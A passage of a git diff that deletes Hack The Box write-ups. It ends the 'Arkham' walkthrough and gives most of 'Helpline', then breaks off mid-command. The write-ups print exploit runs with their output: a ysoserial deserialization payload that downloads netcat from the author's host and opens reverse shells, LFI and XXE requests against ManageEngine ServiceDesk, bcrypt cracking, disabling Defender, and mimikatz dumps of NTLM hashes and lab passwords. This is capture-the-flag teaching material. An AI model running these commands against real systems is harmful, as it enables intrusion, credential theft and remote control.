of using netcat whenever possible for these types of challenges so I don't need to debug Powershell payloads, etc. It's certainly not stealthy or elegant but it's good enough for me here. - -``` -# python boom.py http://10.10.10.130:8080/userSubscribe.faces "powershell -command \\\"Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -outfile \\programdata\\nc.exe\\\"" SnNGOTg3Ni0= -[*] Payload provided: powershell -command \"Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -outfile \programdata\nc.exe\" -[*] Generating the payload with: java -jar ./ysoserial.jar CommonsCollections6 "powershell -command \"Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -outfile \programdata\nc.exe\"" > payload.bin -WARNING: An illegal reflective access operation has occurred -WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections6 (file:/root/htb/arkham/ysoserial.jar) to field java.util.HashSet.map -WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections6 -WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations -WARNING: All illegal access operations will be denied in a future release -[*] Payload was written to payload.bin, reading it into variable... -[*] Length of payload: 1372 bytes -[*] Sending encoded payload: EpflyBhnLkAS/cI6nexhMqH/tMmK+e+oOSB+iGGStMf3iTfxuPA5PGNGhz6HO2nAZeudvUiuJvqiPb69whWbK2/EFMRkmhTDywwZ5O1KTeC46zdFOsXfLYOq+MjjY+tkAaxKM5Zb/ -[...] -[+] Done! -``` - -The server retrieves the file from my VM: - -``` -# python -m SimpleHTTPServer 80 -Serving HTTP on 0.0.0.0 port 80 ... -10.10.10.130 - - [17/Mar/2019 00:11:35] "GET /nc.exe HTTP/1.1" 200 - -``` - -Then I can execute netcat and get a shell: - -``` -# python boom.py http://10.10.10.130:8080/userSubscribe.faces "\\programdata\\nc.exe -e cmd.exe 10.10.14.23 4444" SnNGOTg3Ni0= -[*] Payload provided: \programdata\nc.exe -e cmd.exe 10.10.14.23 4444 -[*] Generating the payload with: java -jar ./ysoserial.jar CommonsCollections6 "\programdata\nc.exe -e cmd.exe 10.10.14.23 4444" > payload.bin -WARNING: An illegal reflective access operation has occurred -WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections6 (file:/root/htb/arkham/ysoserial.jar) to field java.util.HashSet.map -WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections6 -WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations -WARNING: All illegal access operations will be denied in a future release -[*] Payload was written to payload.bin, reading it into variable... -[*] Length of payload: 1320 bytes -[*] Sending encoded payload: EpflyBhnLkAS/cI6nexhMqH/tMmK+e+oOSB+iGGStMf3iTfxuPA5PGNGhz6HO2nAZeudvUiuJvqiPb69whWbK2/EFMRkmhTDywwZ5O1KTeC46zdFOsXfLYOq+MjjY+tkAaxKM5Zb/ -[...] -[+] Done! -``` - -I get a shell and found `user.txt`: - -``` -# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.130] 49686 -Microsoft Windows [Version 10.0.17763.107] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\tomcat\apache-tomcat-8.5.37\bin>whoami -arkham\alfred - -C:\tomcat\apache-tomcat-8.5.37\bin>type c:\users\alfred\desktop\user.txt -ba6593... -``` - -### Elevate to user Batman - -Checking local users, I find that batman is a member of local administrators so this is likely the next step. - -``` -C:\Users\Alfred>net users - -User accounts for \\ARKHAM - -------------------------------------------------------------------------------- -Administrator Alfred Batman -DefaultAccount Guest WDAGUtilityAccount -The command completed successfully. - -C:\Users\Alfred>net users batman -[...] - -Local Group Memberships *Administrators *Remote Management Use - *Users -Global Group memberships *None -The command completed successfully. -``` - -I find a backup file in Alfred's Downloads directory. - -``` -C:\Users\Alfred>dir /s downloads - Volume in drive C has no label. - Volume Serial Number is FA90-3873 - - Directory of C:\Users\Alfred\downloads - -02/03/2019 08:48 AM . -02/03/2019 08:48 AM .. -02/03/2019 08:41 AM backups - 0 File(s) 0 bytes - - Directory of C:\Users\Alfred\downloads\backups - -02/03/2019 08:41 AM . -02/03/2019 08:41 AM .. -02/03/2019 08:41 AM 124,257 backup.zip - 1 File(s) 124,257 bytes -``` - -I transferred the `backup.zip` file to my Kali box with netcat then checked its contents. - -``` -# 7z e backup.zip - -# ls -l -total 33816 --rwx------ 1 root root 16818176 Feb 2 18:00 alfred@arkham.local.ost -``` - -This is an Outlook mailbox file and I can use `readpst` to read it instead of transferring it to my Windows VM. - -``` -# readpst -S alfred@arkham.local.ost -Opening PST file and indexes... -Processing Folder "Deleted Items" -Processing Folder "Inbox" -Processing Folder "Outbox" -Processing Folder "Sent Items" -Processing Folder "Calendar" -Processing Folder "Contacts" -Processing Folder "Conversation Action Settings" -Processing Folder "Drafts" -Processing Folder "Journal" -Processing Folder "Junk E-Mail" -Processing Folder "Notes" -Processing Folder "Tasks" -Processing Folder "Sync Issues" - "Inbox" - 0 items done, 7 items skipped. - "Calendar" - 0 items done, 3 items skipped. -Processing Folder "RSS Feeds" -Processing Folder "Quick Step Settings" - "alfred@arkham.local.ost" - 15 items done, 0 items skipped. -Processing Folder "Conflicts" -Processing Folder "Local Failures" -Processing Folder "Server Failures" - "Sync Issues" - 3 items done, 0 items skipped. - "Drafts" - 1 items done, 0 items skipped. -``` - -I now have the email extracted and a PNG image attachment. - -``` -# ls -lR -.: -total 16 -drwxr-xr-x 2 root root 4096 Mar 17 00:35 Calendar -drwxr-xr-x 2 root root 4096 Mar 17 00:35 Drafts -drwxr-xr-x 2 root root 4096 Mar 17 00:35 Inbox -drwxr-xr-x 2 root root 4096 Mar 17 00:35 'Sync Issues' - -./Calendar: -total 0 - -./Drafts: -total 52 --rw-r--r-- 1 root root 37968 Mar 17 00:35 1 --rw-r--r-- 1 root root 10059 Mar 17 00:35 1-image001.png -``` - -The email contains a reference to Batman's password, which is in the attached image. - -``` -

    Master Wayne stop forgetting your password

    -``` - -The attachment contains a screenshot with Batman's password: - -![](/assets/images/htb-writeup-arkham/batman.png) - -Password: `Zx^#QZX+T!123` - -Using WinRM I can start a powershell session as `batman`. - -``` -C:\Users\Alfred>powershell -Windows PowerShell -Copyright (C) Microsoft Corporation. All rights reserved. -PS C:\Users\Alfred> $username = 'batman' -PS C:\Users\Alfred> $password = 'Zx^#QZX+T!123' -PS C:\Users\Alfred> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force -PS C:\Users\Alfred> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword -PS C:\Users\Alfred> enter-pssession -computername arkham -credential $credential -[arkham]: PS C:\Users\Batman\Documents> -``` - -Something's wrong though, I can't change directories or see error messages: - -``` -[arkham]: PS C:\Users\Batman\Documents> cd .. -[arkham]: PS C:\Users\Batman\Documents> whoami -arkham\batman -[arkham]: PS C:\Users\Batman\Documents> cd \users\administrator\desktop -``` - -So what I did was spawn another netcat as `batman` - -``` -[arkham]: PS C:\Users\Batman\Documents> c:\programdata\nc.exe -e cmd.exe 10.10.14.23 6666 - -# nc -lvnp 6666 -listening on [any] 6666 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.130] 49695 -Microsoft Windows [Version 10.0.17763.107] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\Users\Batman\Documents>whoami -arkham\batman -``` - -### Unintended way to get access to the Administrator user directory - -I can't get to the Administrator directory because UAC is enabled. - -With Powershell I can check the status of UAC and see that it is enabled: - -``` -PS C:\Users\Batman\Documents> (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA -1 -``` - -For some reason, if I use UNC paths I can access to the administrator directory... So this is probably unintended by the box creator but it does get me the flag :) - -``` -C:\Users\Batman\Documents>pushd \\10.10.10.130\c$ - -Z:\>cd \users\administrator\desktop - -Z:\Users\Administrator\Desktop>dir - Volume in drive Z has no label. - Volume Serial Number is FA90-3873 - - Directory of Z:\Users\Administrator\Desktop - -02/03/2019 09:32 AM . -02/03/2019 09:32 AM .. -02/03/2019 09:32 AM 70 root.txt - 1 File(s) 70 bytes - 2 Dir(s) 8,710,045,696 bytes free - -Z:\Users\Administrator\Desktop>type root.txt -type root.txt -636783... -``` diff --git a/_posts/2019-08-17-htb-writeup-helpline.md b/_posts/2019-08-17-htb-writeup-helpline.md deleted file mode 100644 index b90be319be..0000000000 --- a/_posts/2019-08-17-htb-writeup-helpline.md +++ /dev/null @@ -1,719 +0,0 @@ ---- -layout: single -title: Helpline - Hack The Box -excerpt: "I did Helpline the unintended way by gaining my initial shell access as NT AUTHORITY\\SYSTEM and then working my way back to the root and user flags. Both flags were encrypted for two different users so even with a SYSTEM shell I couldn't immediately read the files and had to find the user plaintext credentials first. The credentials for user Tolu were especially hard to find: they were hidden in Windows Event Log files and I had to use a Python module to parse those." -date: 2019-08-17 -classes: wide -header: - teaser: /assets/images/htb-writeup-helpline/helpline_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - windows - - winrm - - mimikatz - - efs - - ServiceDesk - - incognito - - tokens - - meterpreter - - powershell - - postgresql - - xxe - - lfi - - evtx - - windows logs ---- - -![](/assets/images/htb-writeup-helpline/helpline_logo.png) - -I did Helpline the unintended way by gaining my initial shell access as NT AUTHORITY\SYSTEM and then working my way back to the root and user flags. Both flags were encrypted for two different users so even with a SYSTEM shell I couldn't immediately read the files and had to find the user plaintext credentials first. The credentials for user Tolu were especially hard to find: they were hidden in Windows Event Log files and I had to use a Python module to parse those. - -## Summary - -- ManageEngine ServiceDesk allows guest login and we can recover an excel sheet with "hidden" credentials -- There's an LFI vunerability that let us download the SDP backup files which contains password hashes -- We're able to crack 3 credentials from the database and we can log in to the SDP app with user zachary_33258 -- Using an OOB XXE vulnerability we obtain the password audit file which contains 3 other credentials -- After logging in via WinRM with user alice we reset the SDP application admin account by changing the hash in the postgresql database -- Once logged in to SDP as admin, we create a custom trigger action which executes netcat to give us a shell as NT AUTHORITY\SYSTEM -- Both user and root are EFS encrypted and we can't read them as SYSTEM -- Using meterpreter, we impersonate Leo's token and get access to admin-pass.xml which contains the administrator credential in Powershell secure strings -- After obtaining the plaintext password, we use mimikatz to recover the master key and decrypt the root flag -- The user flag is encrypted with user Tolu's credentials. We find those in the Windows log files are using python-evtx - -### Portscan - -``` -# nmap -sC -sV -p- 10.10.10.132 -PORT STATE SERVICE VERSION -135/tcp open msrpc Microsoft Windows RPC -445/tcp open microsoft-ds? -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -8080/tcp open http-proxy - -``` - -### SMB initial enumeration - -SMB is not initially accessible with null sessions or the guest account. - -``` -# smbmap -u test -H 10.10.10.132 -[+] Finding open SMB ports.... -[!] Authentication error occured -[!] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.) -[!] Authentication error on 10.10.10.132 -``` - -### ServiceDesk: Initial enumeration - -The ManageEngine ServiceDesk Plus 9.3 application is running on port 8080. - -![](/assets/images/htb-writeup-helpline/sdp_login.png) - -The application has a guest account enabled by default and we can log in with `guest/guest`. - -![](/assets/images/htb-writeup-helpline/sdp_guest.png) - -The guest account has read-only access to the list of solutions. - -![](/assets/images/htb-writeup-helpline/sdp_solutions.png) - -One of the solution contains a password audit spreadsheet that we can download. - -![](/assets/images/htb-writeup-helpline/sdp_solutions_audit.png) - -The main sheet contains some statistics but nothing useful. - -![](/assets/images/htb-writeup-helpline/audit_spreadsheet1.png) - -I noticed that the number of sheets reported differs from the tabs shown. - -![](/assets/images/htb-writeup-helpline/audit_spreadsheet2.png) - -I unhid the sheet then was able to view the "hidden" data. - -![](/assets/images/htb-writeup-helpline/audit_spreadsheet3.png) - -![](/assets/images/htb-writeup-helpline/audit_spreadsheet4.png) - -The spreadsheet contains a few passwords but none of them are working on the SDP application, SMB or WinRM. - -There is an interesting note: `File containing details from subsequent audit saved to C:\Temp\Password Audit\it_logins.txt on HELPLINE` - -We'll keep that file in mind for later when we find a way to read files outside of the application. - -### ServiceDesk: Getting the database backup using an LFI - -I found a [blog post](https://blog.netxp.fr/manageengine-deep-exploitation/) about the CVE-2017-11511 LFI vulnerability. - -We can view files by using a relative path: `http://helpline:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\file` - -I tried fetching `win.ini` and it didn't work but noticed that the application is running on the E: drive. So that means we won't be able to read that password audit file located on the C: drive. - -![](/assets/images/htb-writeup-helpline/lfi_part1.png) - -We don't even need to be authenticated to use the LFI vulnerability. The next thing is to read `sdpbackup.log` to find out what is the last backup date: - -``` -# curl "http://helpline:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\bin\sdpbackup.log" - -[...] -Zipfile created: E:\ManageEngine\ServiceDesk\bin\..\\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data -Zipfile created: E:\ManageEngine\ServiceDesk\bin\..\\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data -Backup Completed Successfully.# -# -``` - -So we have two backup files we will download: -- backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data -- backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data - -Using the LFI again to download both files: - -``` -# wget "http://helpline:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data" -[...] -2019-03-24 23:34:27 (7.80 MB/s) - ‘download-file?basedir=4&filepath=\\..\\..\\..\\..\\..\\..\\manageengine\\servicedesk\\backup\\backup_postgres_9309_fullbackup_03_08_2019_09_04\\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data’ saved [2889616] - -# wget "http://helpline:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data -> " -[...] -2019-03-24 23:35:01 (1.82 MB/s) - ‘download-file?basedir=4&filepath=\\..\\..\\..\\..\\..\\..\\manageengine\\servicedesk\\backup\\backup_postgres_9309_fullbackup_03_08_2019_09_04\\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data%0A’ saved [14468] -``` - -Both are zipped files: - -``` -# file backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data -backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data: Zip archive data, at least v2.0 to extract -# file backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data -backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data: Zip archive data, at least v2.0 to extract -``` - -We'll extract the files and see that we have a lot of different files, one for each table in the database: - -``` -/db# unzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data -/db# unzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data - -/db# ls -l |more -total 10912 --rw-r--r-- 1 root root 326 Mar 8 09:05 aaaaccadminprofile.sql --rw-r--r-- 1 root root 0 Mar 8 09:05 aaaaccbadloginstatus.sql --rw-r--r-- 1 root root 0 Mar 8 09:05 aaaaccoldpassword.sql --rw-r--r-- 1 root root 0 Mar 8 09:05 aaaaccountowner.sql --rw-r--r-- 1 root root 349 Mar 8 09:05 aaaaccount.sql --rw-r--r-- 1 root root 405 Mar 8 09:05 aaaaccountstatus.sql --rw-r--r-- 1 root root 0 Mar 8 09:05 aaaaccownerprofile.sql --rw-r--r-- 1 root root 147 Mar 8 09:05 aaaaccpassword.sql --rw-r--r-- 1 root root 0 Mar 8 09:05 aaaaccuserprofile.sql -[...] -``` - -The `aaalogin.sql` file contains a few login IDs and usernames, but the passwords are not there. - -``` -INSERT INTO AaaLogin (login_id,user_id,name,domainname) VALUES -(1, 3, N'guest', N'-'); -(2, 4, N'administrator', N'-'); -(302, 302, N'luis_21465', N'-'); -(303, 303, N'zachary_33258', N'-'); -(601, 601, N'stephen', N'-'); -(602, 602, N'fiona', N'-'); -(603, 603, N'mary', N'-'); -(604, 604, N'anne', N'-'); -``` - -The bcrypt hashes for those accounts are in the `aaapassword.sql` file: - -``` -INSERT INTO AaaPassword (password_id,password,algorithm,salt,passwdprofile_id,passwdrule_id,createdtime,factor) VALUES -(1, N'$2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laG', N'bcrypt', N'$2a$12$6VGARvoc/dRcRxOckr6Wmu', 2, 1, 1545350288006, 12); -(302, N'$2a$12$2WVZ7E/MbRgTqdkWCOrJP.qWCHcsa37pnlK.0OyHKfd4lyDweMtki', N'bcrypt', N'$2a$12$2WVZ7E/MbRgTqdkWCOrJP.', 2, 1, 1545428506907, NULL); -(303, N'$2a$12$Em8etmNxTinGuub6rFdSwubakrWy9BEskUgq4uelRqAfAXIUpZrmm', N'bcrypt', N'$2a$12$Em8etmNxTinGuub6rFdSwu', 2, 1, 1545428808687, NULL); -(2, N'$2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OBPuDa', N'bcrypt', N'$2a$12$hmG6bvLokc9jNMYqoCpw2O', 2, 1, 1545428960671, 12); -(601, N'$2a$12$6sw6V2qSWANP.QxLarjHKOn3tntRUthhCrwt7NWleMIcIN24Clyyu', N'bcrypt', N'$2a$12$6sw6V2qSWANP.QxLarjHKO', 2, 1, 1545514864248, NULL); -(602, N'$2a$12$X2lV6Bm7MQomIunT5C651.PiqAq6IyATiYssprUbNgX3vJkxNCCDa', N'bcrypt', N'$2a$12$X2lV6Bm7MQomIunT5C651.', 2, 1, 1545515091170, NULL); -(603, N'$2a$12$gFZpYK8alTDXHPaFlK51XeBCxnvqSShZ5IO/T5GGliBGfAOxwHtHu', N'bcrypt', N'$2a$12$gFZpYK8alTDXHPaFlK51Xe', 2, 1, 1545516114589, NULL); -(604, N'$2a$12$4.iNcgnAd8Kyy7q/mgkTFuI14KDBEpMhY/RyzCE4TEMsvd.B9jHuy', N'bcrypt', N'$2a$12$4.iNcgnAd8Kyy7q/mgkTFu', 2, 1, 1545517215465, NULL); -``` - -To crack the hashes with hashcat, we only need to keep the first part so we end up with the following file that we feed to hashcat. - -``` -$2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laG -$2a$12$2WVZ7E/MbRgTqdkWCOrJP.qWCHcsa37pnlK.0OyHKfd4lyDweMtki -$2a$12$Em8etmNxTinGuub6rFdSwubakrWy9BEskUgq4uelRqAfAXIUpZrmm -$2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OBPuDa -$2a$12$6sw6V2qSWANP.QxLarjHKOn3tntRUthhCrwt7NWleMIcIN24Clyyu -$2a$12$X2lV6Bm7MQomIunT5C651.PiqAq6IyATiYssprUbNgX3vJkxNCCDa -$2a$12$gFZpYK8alTDXHPaFlK51XeBCxnvqSShZ5IO/T5GGliBGfAOxwHtHu -$2a$12$4.iNcgnAd8Kyy7q/mgkTFuI14KDBEpMhY/RyzCE4TEMsvd.B9jHuy -``` - -The correct hash type is found on [https://hashcat.net/wiki/doku.php?id=example_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes). We can now start our cracking session with the following command: - -``` -C:\bin\hashcat>hashcat64 -a 0 -m 3200 hash.txt passwords\rockyou.txt -hashcat (v5.1.0) starting... - -OpenCL Platform #1: NVIDIA Corporation -====================================== -* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU - -Dictionary cache hit: -* Filename..: passwords\rockyou.txt -* Passwords.: 14344385 -* Bytes.....: 139921507 -* Keyspace..: 14344385 - -$2a$12$gFZpYK8alTDXHPaFlK51XeBCxnvqSShZ5IO/T5GGliBGfAOxwHtHu:1234567890 -$2a$12$Em8etmNxTinGuub6rFdSwubakrWy9BEskUgq4uelRqAfAXIUpZrmm:0987654321 -$2a$12$X2lV6Bm7MQomIunT5C651.PiqAq6IyATiYssprUbNgX3vJkxNCCDa:1q2w3e4r -``` - -I was able to recover 3 passwords. Cross-referencing the login ID in the `aaapassword` table with the `aaalogin` information, we have the following credentials: - -- `zachary_33258 / 0987654321` -- `fiona / 1q2w3e4r` -- `mary / 1234567890` - -### ServiceDesk: Zachary user - -The user `zachary_33258` has access to the scheduler. - -![](/assets/images/htb-writeup-helpline/sdp_zachary1.png) - -He can also generate an API key. - -![](/assets/images/htb-writeup-helpline/sdp_zachary2.png) - -### ServiceDesk: Mary user - -Mary has two tickets in her queue, nothing interesting here. - -![](/assets/images/htb-writeup-helpline/sdp_mary.png) - -### ServiceDesk: Fiona user - -Fiona also has two tickets, the 2nd one has been resolved and we see some credentials there. We make note of those but they ultimately weren't useful on this box. - -![](/assets/images/htb-writeup-helpline/sdp_fiona1.png) - -![](/assets/images/htb-writeup-helpline/sdp_fiona2.png) - -### ServiceDesk: Reading the password audit file via OOB XXE extraction - -The following [CVE-2017-9362](https://labs.integrity.pt/advisories/cve-2017-9362/index.html) talks about an XXE vulnerability in the CMDB API. The cool thing is we don't even need special privileges to use this API endpoint. Zachary has the ability to generate API keys but here I'm just using the `fiona` user and I'm not specifying any API key. - -First, let's check if we can use the API endpoint `/api/cmdb/ci/list`: - -![](/assets/images/htb-writeup-helpline/sdp_xxe1.png) - -Ok, that works. Next let's try using the example in the blog post above. Unfortunately I got a permissions error when I used the payload from the blog post. - -![](/assets/images/htb-writeup-helpline/sdp_xxe2.png) - -I tried a remote DTD and even though I got an error message from the page I did see the HTTP request come in to my Kali box. - -![](/assets/images/htb-writeup-helpline/sdp_xxe3.png) - -![](/assets/images/htb-writeup-helpline/sdp_xxe4.png) - -I then tried the following OOB extraction payload in my `xxe_file.dtd`: - -``` - -"> -``` - -The server fetched the DTD from my machine then connected by FTP and sent the content of the password audit file. - -![](/assets/images/htb-writeup-helpline/sdp_xxe5.png) - -We now have the following additional credentials: - -- `alice` / `$sys4ops@megabank!` -- `mike_adm` / `Password1` -- `dr_acc` / `dr_acc` - -### ServiceDesk: Resetting the administrator password through Postgresql - -The `mike_adm` and `dr_acc` accounts don't exist but `alice` does. - -We can now see shares but we don't have any access to them: - -``` -# smbmap -d HELPLINE -u alice -p \$sys4ops@megabank! -H 10.10.10.132 -[+] Finding open SMB ports.... -[+] User SMB session establishd on 10.10.10.132... -[+] IP: 10.10.10.132:445 Name: helpline.htb - Disk Permissions - ---- ----------- - ADMIN$ NO ACCESS - C$ NO ACCESS - E$ NO ACCESS - Helpdesk_Stats NO ACCESS - IPC$ READ ONLY -``` - -The WinRM port is listening on this box but I prefer to use Powershell inside Windows to log in instead of the Ruby WinRM module. I have another Windows VM running that I route through my Kali VM so I don't need to flip between two VPN connections. The traffic from the Windows VM is NATed to the IP of the tun0 interface on the Kali VM. - -![](/assets/images/htb-writeup-helpline/winrm_alice1.png) - -The shell we have is pretty locked down: AMSI is enabled, Constrained Language mode is enabled, and Applocker is configured. - -![](/assets/images/htb-writeup-helpline/winrm_alice2.png) - -![](/assets/images/htb-writeup-helpline/winrm_alice3.png) - -![](/assets/images/htb-writeup-helpline/winrm_alice4.png) - -We know that the SDP application uses Postgresql as the database backend and that the credentials to log in to the application are stored in the database. Since we have shell access, we can try to change the database entries from the `psql.exe` application. Fortunately, this application is not blocked by AppLocker. - -As shown here, we can check the `aaapassword` table: - -``` -[10.10.10.132]: PS E:\ManageEngine\ServiceDesk\pgsql\bin> .\psql.exe -U postgres -h 127.0.0.1 -p 65432 -d servicedesk -c "select * from aaapassword" - password_id | password | algorithm | salt | --------------+--------------------------------------------------------------+-----------+-------------------------------+ - 1 | $2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laG | bcrypt | $2a$12$6VGARvoc/dRcRxOckr6Wmu | - 302 | $2a$12$2WVZ7E/MbRgTqdkWCOrJP.qWCHcsa37pnlK.0OyHKfd4lyDweMtki | bcrypt | $2a$12$2WVZ7E/MbRgTqdkWCOrJP. | - 303 | $2a$12$Em8etmNxTinGuub6rFdSwubakrWy9BEskUgq4uelRqAfAXIUpZrmm | bcrypt | $2a$12$Em8etmNxTinGuub6rFdSwu | - 2 | $2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OBPuDa | bcrypt | $2a$12$hmG6bvLokc9jNMYqoCpw2O | - 601 | $2a$12$6sw6V2qSWANP.QxLarjHKOn3tntRUthhCrwt7NWleMIcIN24Clyyu | bcrypt | $2a$12$6sw6V2qSWANP.QxLarjHKO | - 602 | $2a$12$X2lV6Bm7MQomIunT5C651.PiqAq6IyATiYssprUbNgX3vJkxNCCDa | bcrypt | $2a$12$X2lV6Bm7MQomIunT5C651. | - 603 | $2a$12$gFZpYK8alTDXHPaFlK51XeBCxnvqSShZ5IO/T5GGliBGfAOxwHtHu | bcrypt | $2a$12$gFZpYK8alTDXHPaFlK51Xe | - 604 | $2a$12$4.iNcgnAd8Kyy7q/mgkTFuI14KDBEpMhY/RyzCE4TEMsvd.B9jHuy | bcrypt | $2a$12$4.iNcgnAd8Kyy7q/mgkTFu | -(8 rows) -``` - -The [documentation](https://support.servicedeskplus.com/portal/kb/articles/how-to-reset-administrator-password-in-servicedesk-plus) contains the bcrypt hash that needs to be replaced in the table to reset the password to `admin`: - -- `password='$2a$12$fZUC9IK8E/AwtCxMKnCfiu830qUyYB/JRhWpi2k1vgWLC6iLFAgxa'` -- `salt='$2a$12$fZUC9IK8E/AwtCxMKnCfiu'` - -``` -[10.10.10.132]: PS E:\ManageEngine\ServiceDesk\pgsql\bin> .\psql.exe -U postgres -h 127.0.0.1 -p 65432 -d servicedesk -c "update aaap -assword set password ='`$2a`$12`$fZUC9IK8E/AwtCxMKnCfiu830qUyYB/JRhWpi2k1vgWLC6iLFAgxa' where password_id=2" -UPDATE 1 -[10.10.10.132]: PS E:\ManageEngine\ServiceDesk\pgsql\bin> .\psql.exe -U postgres -h 127.0.0.1 -p 65432 -d servicedesk -c "update aaap -assword set salt ='`$2a`$12`$fZUC9IK8E/AwtCxMKnCfiu' where password_id=2" -UPDATE 1 -``` - -We can now log in as `administrator` with the password `admin`. In the `Admin` tab, we'll use the *Custom Triggers* menu to gain RCE. - -![](/assets/images/htb-writeup-helpline/sdp_admin1.png) - -### RCE and a NT AUTHORITY\SYSTEM reverse shell - -As Alice I downloaded netcat to the box even though I can't execute `nc.exe` from Alice because of Bitlocker. - -![](/assets/images/htb-writeup-helpline/netcat.png) - -The I created a new Custom Trigger action in SDP that'll execute `nc.exe` when a new Request is created with a subject of `pwn`. - -![](/assets/images/htb-writeup-helpline/sdp_admin3.png) - -![](/assets/images/htb-writeup-helpline/sdp_admin4.png) - -After the request was created, I got a reverse shell as SYSTEM: - -![](/assets/images/htb-writeup-helpline/system_shell.png) - -### Disabling protections and grabbing the NTLM hashes - -We can't read `user.txt` or `root.txt` even if we're SYSTEM because they're both EFS encrypted. We'll need the plaintext passwords for the account in order to recover the masterkey and decrypt those files. - -``` -C:\Users\Administrator\Desktop>type root.txt -Access is denied. - -C:\Users\Administrator\Desktop>cipher /c root.txt - - Listing C:\Users\Administrator\Desktop\ - New files added to this directory will not be encrypted. - -E root.txt - Compatibility Level: - Windows XP/Server 2003 - - Users who can decrypt: - HELPLINE\Administrator [Administrator(Administrator@HELPLINE)] - Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3 - - No recovery certificate found. - - Key information cannot be retrieved. - -The specified file could not be decrypted. -``` - -``` -C:\Users\tolu\Desktop>type user.txt -Access is denied. - -C:\Users\tolu\Desktop>cipher /c user.txt - - Listing C:\Users\tolu\Desktop\ - New files added to this directory will not be encrypted. - -E user.txt - Compatibility Level: - Windows XP/Server 2003 - - Users who can decrypt: - HELPLINE\tolu [tolu(tolu@HELPLINE)] - Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29 - - No recovery certificate found. - - Key information cannot be retrieved. - -The specified file could not be decrypted. -``` - -Next, I disabled the AV running on the system so I could execute Mimikatz and get the NTLM hashes and psexec back in later. - -``` -PS E:\ManageEngine\ServiceDesk\integration\custom_scripts> set-mppreference -disablerealtimemonitoring $true -``` - -``` -PS C:\programdata> invoke-webrequest -uri http://10.10.14.23/mimikatz.exe -outfile mimikatz.exe - -lsadump::lsa /patch -mimikatz # Domain : HELPLINE / S-1-5-21-3107372852-1132949149-763516304 - -RID : 000001f4 (500) -User : Administrator -LM : -NTLM : d5312b245d641b3fae0d07493a022622 - -RID : 000003e8 (1000) -User : alice -LM : -NTLM : 998a9de69e883618e987080249d20253 - -RID : 000001f7 (503) -User : DefaultAccount -LM : -NTLM : - -RID : 000001f5 (501) -User : Guest -LM : -NTLM : - -RID : 000003f1 (1009) -User : leo -LM : -NTLM : 60b05a66232e2eb067b973c889b615dd - -RID : 000003f2 (1010) -User : niels -LM : -NTLM : 35a9de42e66dcdd5d512a796d03aef50 - -RID : 000003f3 (1011) -User : tolu -LM : -NTLM : 03e2ec7aa7e82e479be07ecd34f1603b - -RID : 000001f8 (504) -User : WDAGUtilityAccount -LM : -NTLM : 52a344a6229f7bfa074d3052023f0b41 - -RID : 000003ef (1007) -User : zachary -LM : -NTLM : eef285f4c800bcd1ae1e84c371eeb282 -``` - -### Get access to Leo's admin password list - -I found a `admin-pass.xml` file in Leo's Desktop directory but I can't read it because it's EFS encrypted: - -``` -C:\Users\leo\Desktop>type admin-pass.xml -Access is denied. - -C:\Users\leo\Desktop>cipher /c admin-pass.xml -cipher 